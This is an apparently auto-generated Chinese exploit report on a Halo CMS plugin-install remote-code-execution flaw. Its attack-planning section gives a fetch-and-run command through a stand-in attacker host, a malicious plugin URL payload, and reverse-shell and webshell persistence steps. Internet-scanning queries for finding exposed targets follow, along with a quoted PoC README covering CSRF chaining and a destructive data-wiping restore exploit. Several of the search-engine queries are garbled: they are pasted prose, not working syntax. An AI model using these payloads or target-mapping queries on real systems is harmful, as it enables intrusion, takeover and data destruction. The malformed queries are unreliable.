🔥 CVE-2026-67919 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2026-67919 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 2 来源🔍 源码审计🧪 PoC
NVD-LatestPoC-in-GitHub

🔍 源码独立审计

https://github.com/halo-dev/halo 源码进行独立审计(置信度 80%)。

🧬 根因独立理解

漏洞根因位于Halo的插件安装功能中。后端PluginEndpoint.java中的installFromUri方法接收用户可控的URI参数,并根据该URI从远程地址下载插件包。该方法未对URI协议、目标主机、端口和路径进行白名单或安全限制,也未校验插件包的签名和完整性。下载后的插件包被交给DefaultPluginApplicationContextFactory处理,该工厂在解析插件清单后创建自定义类加载器,并加载、实例化插件主类。由于Halo插件本身就是可执行代码的载体,任何能够被安装的恶意JAR包都会在插件上下文刷新时触发其构造函数或初始化逻辑,从而执行攻击者注入的任意系统命令。从前端api-client中可以看到,`installFromUri`接口暴露在`/apis/api.console.halo.run/v1alpha1/plugins/install-from-uri`,请求体为InstallFromUriRequest,其中包含URI字段。该设计默认信任外部URI,若服务端对请求来源和权限校验不严,则任何能访问该API的攻击者都可指定任意恶意插件URL。补丁方向通常为限制协议(如仅允许HTTPS)、强制校验插件来源、增加管理员角色校验,以及使用安全的插件下载器,但这些措施若未与插件签名验证配合,仍可能被绕过。

🛤️ 漏洞触发链路

攻击者首先构造一个包含恶意Java类的Halo插件JAR包,例如在插件主类的构造函数中执行`Runtime.getRuntime().exec("calc")`或反弹shell命令。将该JAR托管在攻击者控制的HTTP服务器上。然后向目标Halo的`/apis/api.console.halo.run/v1alpha1/plugins/install-from-uri`发送HTTP POST请求,请求体为`{"uri":"http://attacker.com/evil-plugin.jar"}`,并携带必要的认证信息(若存在)。后端PluginEndpoint.java的installFromUri方法接收该URI,下载JAR到临时目录,随后调用DefaultPluginApplicationContextFactory创建插件应用上下文。该工厂解析插件中的plugin.yaml,实例化插件主类,恶意代码在插件启动阶段被执行,攻击者获得目标服务器权限。由于插件下载和加载过程中无任何来源验证和签名校验,整个过程不需要额外应用配合,仅在默认插件功能启用时即可触发。

🔁 二次发现(同类漏洞/扩展攻击面)

  • PluginEndpoint.java 中的 upgradeFromUri 方法: 存在同类风险:该方法同样接受远程URI升级插件,可被构造恶意插件包实现RCE,且升级功能可能覆盖已安装插件,破坏完整性。
  • DefaultPluginApplicationContextFactory 的插件类加载逻辑: 所有插件安装/升级路径最终均调用此工厂加载插件类,若工厂未隔离敏感类或未校验JAR内容,任意插件均可执行代码。
  • 前端 plugin-v1alpha1-console-api.ts 中手动上传插件接口: 若存在上传入口,未对上传文件进行类型和内容检查,直接部署恶意JAR同样可触发RCE,攻击面可扩展。

🩹 修复完整性分析

由于当前展示代码仅包含前端API客户端,无法直接确认后端修复状态。但从前端仍保留installFromUri接口来看,功能并未移除。如果补丁仅限制URI必须为`https://`或官方域名,攻击者可通过使用私有CA签名的HTTPS地址或内网地址绕过。如果仅增加管理员权限校验,攻击者可通过其他漏洞未授权访问该端点。最完整的修复应结合多项措施:要求插件安装必须经过管理员认证;只允许从官方应用市场安装;使用Halo官方公钥验证插件签名;对插件包内所有类进行安全扫描;并在下载过程中阻止SSRF。当前修复若未覆盖所有调用链,upgradeFromUri或上传接口仍可能成为绕过路径。

⚔️ 利用方案设计

利用方案核心是构造一个恶意的Halo插件JAR。首先创建Java项目,实现Halo插件扩展点,在插件入口类(如实现`Plugin`接口或在`@Bean`初始化方法)中写入恶意代码,例如执行`Runtime.exec("/bin/sh -c 'curl attacker.sh|sh'")`。编译打包后,在JAR内添加`plugin.yaml`声明插件名称和版本。将JAR置于攻击者服务器,确保可通过HTTP(S)访问。然后针对目标Halo利用API端点:如果接口未认证或已获得管理员凭证,直接发送POST至`/apis/api.console.halo.run/v1alpha1/plugins/install-from-uri`,body为`{"uri":"http://attacker.com/evil.jar"}`。服务端下载并安装该插件,插件启动时恶意代码被执行。若目标出网受限,可尝试利用Halo已有的功能将插件文件上传到本地存储,然后使用`file:///path/to/uploaded.jar`作为URI,但需验证文件路径可预测。若存在SSRF防护,可绕过URL限制,使用重定向或DNS解析到内网。成功执行后,可反弹shell或植入webshell,实现持久化控制。

🏷️ 生产前提定级

分类: A(A=默认部署无条件 / B=需应用配合 / C=配置缺陷 / X=范围外)

生产前提: ①生产默认部署能否触发:若Halo默认开启插件功能且插件安装接口未正确配置Spring Security拦截规则,攻击者无需认证即可触发,CVSS 9.8支持该判断。②需哪些应用代码配合:需要Halo插件机制作为基础,但这是产品默认功能,不需要额外应用代码。③需哪些配置缺陷:无需特定配置缺陷,只要接口可达且插件功能启用即可。④环境前提:目标服务器需要能够外联访问攻击者服务器(用于下载恶意JAR),或攻击者能将恶意插件文件放置到目标可访问的本地路径。若目标无法出网,则需结合其他方法上传恶意包。

🕵️ 指纹与测绘语法

命中版本指纹: Halo 控制台页面通常包含 <html lang="zh-CN">、<div id="app"></div>,body 中可匹配 "halo" 或 "Halo"。HTTP 响应头可能包含 `X-Powered-By: Halo`,登录接口路径为 `/login`,管理接口路径包含 `/apis/api.console.halo.run`。

FOFA: body="halo" && title="Halo"

测绘引擎语法:

  • Hunter: web.body="Halo 控制台页面通常包含 <html lang="zh-CN">、<div id="app"></div>,body 中可匹配 "halo" 或 "Halo"。HTTP 响应头可能包含 `X-Powered-By: Halo`,登录接口路径为 `/login`,管理接口路径包含 `/apis/api.console.halo.run`。"
  • Quake: response:"Halo 控制台页面通常包含 <html lang="zh-CN">、<div id="app"></div>,body 中可匹配 "halo" 或 "Halo"。HTTP 响应头可能包含 `X-Powered-By: Halo`,登录接口路径为 `/login`,管理接口路径包含 `/apis/api.console.halo.run`。"
  • ZoomEye: "Halo 控制台页面通常包含 <html lang="zh-CN">、<div id="app"></div>,body 中可匹配 "halo" 或 "Halo"。HTTP 响应头可能包含 `X-Powered-By: Halo`,登录接口路径为 `/login`,管理接口路径包含 `/apis/api.console.halo.run`。"
  • Shodan: http.html:"Halo 控制台页面通常包含 <html lang="zh-CN">、<div id="app"></div>,body 中可匹配 "halo" 或 "Halo"。HTTP 响应头可能包含 `X-Powered-By: Halo`,登录接口路径为 `/login`,管理接口路径包含 `/apis/api.console.halo.run`。"

🐳 docker 实证

状态: 🔴 未完成 | 技术栈: node | health: 000

部署命令:

  • docker run -d --name dv_cve_2026_67919 -p 18100:3000 -v

执行日志:

容器起来了但 HTTP 不通(应用需 DB/复杂启动依赖——诚实标注)
$ docker build -t dv_cve_2026_67919 /tmp/vuln_audit/CVE_2026_67919... → rc=1
$ docker run -d --name dv_cve_2026_67919 -p... → rc=0
[health] http_code=000

🔬 SAST 工具链扫描(真实工具输出)

semgrep 输出

[*] DB semgrep 规则: 462 条 | 本地规则文件: 1 个

============================================================
扫描目标: /tmp/vuln_audit/CVE_2026_67919
规则: /home/user/vuln_knowledge/tools/sast_rules/hermes-0day-round3.yaml
============================================================

[结果] 共 0 处命中:

[前 5 条命中详情——人工复核误报]

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源k0nnect/halo-cve-2026-67919针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# halo plugin rce from a url

halo's console lets admins install and upgrade plugins by pasting a url.
it fetches whatever url,installs the jar,and the jar's code runs on the
server. no scheme checks,no host checks,redirects followed,and the
plugin manager loads the extension classes straight out of the jar.

that is cve-2026-67919 (install-from-uri / upgrade-from-uri),
cve-2026-67920 (migration restore),cve-2026-67921 (csrf/cors chain).
all three verified against halohub/halo:2.25.4 in a docker lab,august
2026. main is still unpatched.

the fun part: it's also a browser-only chain. the console api does not
check the xsrf token,the session cookie is samesite=none,
and cors
reflects any origin with credentials. a page the admin visits can do it
all with fetch(). see exploit/csrf.html.

## lab

    docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
    # visit /system/setup once,or script it (see notes/findings.md)

serve a jar from the host (bound to 0.0.0.0,
the container reaches the
host as host.docker.internal):

    python3 -m http.server 8123

## two-request rce

build the malicious plugin (needs jdk 17):

    cd plugin &&sh build.sh

then:

    cd exploit &&
python3 -m pip install -r requirements.txt
    ./rce_install.py http://localhost:8090 admin 'Admin@12345' \
        http://host.docker.internal:8123/poc-plugin.jar

    docker exec halo cat /tmp/pwned

## one-request rce

any already-installed plugin can be replaced in a single request;
the jar
just needs the same metadata.name and a higher version. poc-sitemap.jar
is that variant for the built-in PluginSitemap (1.x ->2.0.0).

    ./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
        PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar

    docker exec halo cat /tmp/pwned

## from a browser,no token needed

open exploit/csrf.html,point it at your halo,
click. that's the
cve-2026-67921 ->cve-2026-67919 chain: no xsrf header,session cookie
goes cross-site,cors allows the readback.

## who can do this

admin only,no matter what the cisa description says. anonymous gets a
302,guest gets a 403,
admin gets code execution. the csrf chain keeps it
interesting because the admin is already logged in when the page runs.

## migration restore (cve-2026-67920)

restorations fetch an arbitrary url (another fetch primitive),write the
zip's workdir/ into the halo work dir unsanitized,and replace the whole
extension store with the backup's contents. an empty extensions.data
wipes users,
role bindings and settings. use exploit/migration_restore.py
on a throwaway box only.

## what's in here

    exploit/   login.py,rce_install.py,rce_upgrade.py,migration_restore.py,csrf.html
    plugin/    plugin.yaml,Exploit.java,plugin-components.idx,build.sh,prebuilt jars
    notes/     findings.md (privilege ladder,fetcher behavior,cookie/cors details,fix status)

for the 1-request variant,
edit plugin/plugin.yaml (metadata.name +
version) and rebuild;or use the prebuilt poc-sitemap.jar against a halo
that has PluginSitemap installed.

disclaimer: for research on systems you own. the migration one in
particular will wreck the instance it runs against.

## credits

chris jagdeo (k0nnect)

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-21 03:03

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)